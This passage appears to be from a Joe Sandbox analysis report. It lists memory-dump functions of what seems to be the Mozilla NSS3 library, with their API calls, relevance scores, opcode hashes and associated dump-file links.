Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 37de4419a895b8a15ef30b865b93c7582bbb3df04adfb984aebf5bf36930e907
Instruction ID: c6a5c28be7008a4023e32320f433c8911ef5b9d28e27e6a47245f12b0b982dc2
Opcode Fuzzy Hash: 37de4419a895b8a15ef30b865b93c7582bbb3df04adfb984aebf5bf36930e907
Instruction Fuzzy Hash: 21A1DE71A002199FDB24CF54CC81BEAB7B5EF89308F048199ED496B781E771AD85CF92

Function 6C59A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fca84096b1de1da2d2593e7f0180d2f70436aa71d6d70c614f7039dd24f9a05
Instruction ID: c3a71e3cc390c2c771e71ef21fc9731d0af8ff16e15cf9b7def06ac8fd8609a8
Opcode Fuzzy Hash: 2fca84096b1de1da2d2593e7f0180d2f70436aa71d6d70c614f7039dd24f9a05
Instruction Fuzzy Hash: 25913C30D042E84FDB25CE198C913DAB7B5AF4A31CF1985E9C59A9BA01D7318D85CBF1

Function 6C5AED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C5AED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C5AEDCE

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

free.MOZGLUE(00000000,?,?,?,?,6C5AB04F), ref: 6C5AEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5AEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C5AEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C5AEEFB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 7ef3f2c8def28c3b2351feaa95ad8ccf9edc162af4a1ac115a07d9d66673b2f0
Instruction ID: 8d7dfa4ca5cb03ca2410a368da915469cf6e03b8efc4600f168ed1eb81a4edb2
Opcode Fuzzy Hash: 7ef3f2c8def28c3b2351feaa95ad8ccf9edc162af4a1ac115a07d9d66673b2f0
Instruction Fuzzy Hash: 558159B5A002059FEB14CF9ADC80AAF77F5FF89308F144428E8159B751DB70E826CBA1

Function 6C5ACCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C5ADAE2,?), ref: 6C5AC6C2

PR_Now.NSS3 ref: 6C5ACD35

Part of subcall function 6C609DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DC6
Part of subcall function 6C609DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DD1
Part of subcall function 6C609DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C609DED

Part of subcall function 6C596C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C541C6F,00000000,00000004,?,?), ref: 6C596C3F

PR_GetCurrentThread.NSS3 ref: 6C5ACD54

Part of subcall function 6C609BF0: TlsGetValue.KERNEL32(?,?,?,6C650A75), ref: 6C609C07

Part of subcall function 6C597260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C541CCC,00000000,00000000,?,?), ref: 6C59729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5ACD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C5ACE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C5ACE2C

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C5ACE40

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

Part of subcall function 6C5ACEE0: PORT_ArenaMark_Util.NSS3(?,6C5ACD93,?), ref: 6C5ACEEE
Part of subcall function 6C5ACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C5ACD93,?), ref: 6C5ACEFC
Part of subcall function 6C5ACEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C5ACD93,?), ref: 6C5ACF0B
Part of subcall function 6C5ACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C5ACD93,?), ref: 6C5ACF1D

Part of subcall function 6C5ACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C5ACD93,?), ref: 6C5ACF47
Part of subcall function 6C5ACEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C5ACD93,?), ref: 6C5ACF67
Part of subcall function 6C5ACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C5ACD93,?,?,?,?,?,?,?,?,?,?,?,6C5ACD93,?), ref: 6C5ACF78

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 86cfa82f8bc392e2dc8b7feb599b2bc954898f0db7792d9b4bbcc429d908e9d7
Instruction ID: caa353e306f3225560e3380f9347c39903d38c2f4a6ecc073fdcf69aa5339fd9
Opcode Fuzzy Hash: 86cfa82f8bc392e2dc8b7feb599b2bc954898f0db7792d9b4bbcc429d908e9d7
Instruction Fuzzy Hash: CF51A376A002009BEB11DFAADC40B9E77E4EF88348F250524D955AB740EB32FD06CB91

Function 6C5A66C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5A66DF

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6C5A66F9

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6C5A6728
PK11_GetInternalKeySlot.NSS3 ref: 6C5A6788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C5A67AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C5A67C1

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: 6dca4ecde03193c3dddc8758e219fc0432edda43d65adb70c070968e5ec620f4
Instruction ID: b9bf08508aca030e7e83a370f73f2874421af470eca96f7a4899bd63097438c2
Opcode Fuzzy Hash: 6dca4ecde03193c3dddc8758e219fc0432edda43d65adb70c070968e5ec620f4
Instruction Fuzzy Hash: 8D51E3B5D103198FDB00CFAAC9817DE7BF4AB08708F04416AEC08EB746EB7599558FA1

Function 6C57EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C57EF38

Part of subcall function 6C569520: PK11_IsLoggedIn.NSS3(00000000,?,6C59379E,?,00000001,?), ref: 6C569542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C57EF53

Part of subcall function 6C584C20: TlsGetValue.KERNEL32 ref: 6C584C4C
Part of subcall function 6C584C20: EnterCriticalSection.KERNEL32(?), ref: 6C584C60
Part of subcall function 6C584C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C584CA1
Part of subcall function 6C584C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C584CBE
Part of subcall function 6C584C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C584CD2
Part of subcall function 6C584C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C584D3A

PR_GetCurrentThread.NSS3 ref: 6C57EF9E

Part of subcall function 6C609BF0: TlsGetValue.KERNEL32(?,?,?,6C650A75), ref: 6C609C07

free.MOZGLUE(00000000), ref: 6C57EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C57F016
free.MOZGLUE(00000000), ref: 6C57F022

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: d3e9c7258b1a06d95c6a491849b68a4212148d36d98d01864458fa4b3adfd0b1
Instruction ID: e1dec8f8ef34ed07f04fb6130d510221f9938a5c9dd6d3c79e901f0940fca6fd
Opcode Fuzzy Hash: d3e9c7258b1a06d95c6a491849b68a4212148d36d98d01864458fa4b3adfd0b1
Instruction Fuzzy Hash: 5A41C171E0020AAFDF01CFA9DC84BEE7BB9AF48358F004029F905A7750E772D9558BA1

Function 6C554860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C554894

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5548CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5548DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C5548FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C554912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C55494A

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 3a8513d86be2e4ec75edd9b3ae5da1569a322227392c91e08c6457c534106e5f
Instruction ID: ea7b716aee0eedda50be004e9af7fd378b0d5f974c5764e8ef1bb99b0208e078
Opcode Fuzzy Hash: 3a8513d86be2e4ec75edd9b3ae5da1569a322227392c91e08c6457c534106e5f
Instruction Fuzzy Hash: 2841D2B1A04345ABE714CF6ACC81BAB73E8AF8461CF40052DEA5597B41F770ED24CB56

Function 6C5D8AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6C5C6F38), ref: 6C5D8B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6C5D8B58
NSS_OptionGet.NSS3(00000009,?), ref: 6C5D8B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6C5C6F38), ref: 6C5D8BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6C5D8C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6C5D8C1A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: 5c88b25201bc31a5cb98a4f90d8e130e5c382febff736655268311bca9445460
Instruction ID: 3d6ccdefab7123c8f33604218b8450b0cea12c4538491d073aec8730f3432900
Opcode Fuzzy Hash: 5c88b25201bc31a5cb98a4f90d8e130e5c382febff736655268311bca9445460
Instruction Fuzzy Hash: E141F971B05305C6EF00EA9EEC903AE36F5DB91308F465422CD46DB680E764794987DF

Function 6C5E2640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6C5B99E8,00000000,00000000,?,?,?,?), ref: 6C5E267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6C5B99E8,00000000,00000000,?,?,?,?), ref: 6C5E269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6C5B99E8,00000000,00000000,?), ref: 6C5E26AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6C5B99E8), ref: 6C5E2714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6C5B99E8,00000000,00000000,?,?,?,?,?), ref: 6C5E2737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5E2750

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: 2576212a85c28b1084b6d7b12f241dff2cf0316bc5f322597ad064f22c77e1a4
Instruction ID: e74fbab188a41b038252bde7f4926316531f605ed81681755e943c0a80d4187c
Opcode Fuzzy Hash: 2576212a85c28b1084b6d7b12f241dff2cf0316bc5f322597ad064f22c77e1a4
Instruction Fuzzy Hash: E3416872A00119AFDF04DEA9CC84AEE77B5AF88308F554118F918AB614D731EC54CB94

Function 6C56CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C56CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C56D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C56D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C56D025
PR_NewLock.NSS3 ref: 6C56D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C56D074

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 6722ba64b5dd216d4fd47e62223fef7dd7f2a12607f82e1b56def5ac45d75f57
Instruction ID: ba46f0ee2a864bc24305d8df93056bb77110892eddac133c27b0c17da02f04b7
Opcode Fuzzy Hash: 6722ba64b5dd216d4fd47e62223fef7dd7f2a12607f82e1b56def5ac45d75f57
Instruction Fuzzy Hash: E641D5B0A012118FDB50DF2ACC84386BBA4AF48328F204569DC198BB62E770D885CB95

Function 6C5565D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6C55660F

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

free.MOZGLUE(00000000), ref: 6C556660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C55667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6C55669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6C5566B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5566C8

Part of subcall function 6C5825D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C55662E,?,?), ref: 6C582670
Part of subcall function 6C5825D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C55662E,?), ref: 6C582684
Part of subcall function 6C5825D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C5826C2
Part of subcall function 6C5825D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C5826E0
Part of subcall function 6C5825D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C5826F4
Part of subcall function 6C5825D0: PR_Unlock.NSS3(?), ref: 6C58274D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: ae5c0e084ce1de75db0bf314f692d73ecea3ea69a7a172b49f1a85ab51c9f92d
Instruction ID: 760b39fdf14bb3bd817a4b8e5c8c6ca71d8d31efa2948f1a5b462fbac00508c0
Opcode Fuzzy Hash: ae5c0e084ce1de75db0bf314f692d73ecea3ea69a7a172b49f1a85ab51c9f92d
Instruction Fuzzy Hash: 9A3161B5E01259DBDB00CFA8DC81AAE7BF4AF49348F500129EC15EB740EB31E914CBA1

Function 6C552E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C542D1A), ref: 6C552E7E

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

PR_Now.NSS3 ref: 6C552EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C552EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C542D1A), ref: 6C552F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C542D1A), ref: 6C552F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C552F81

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
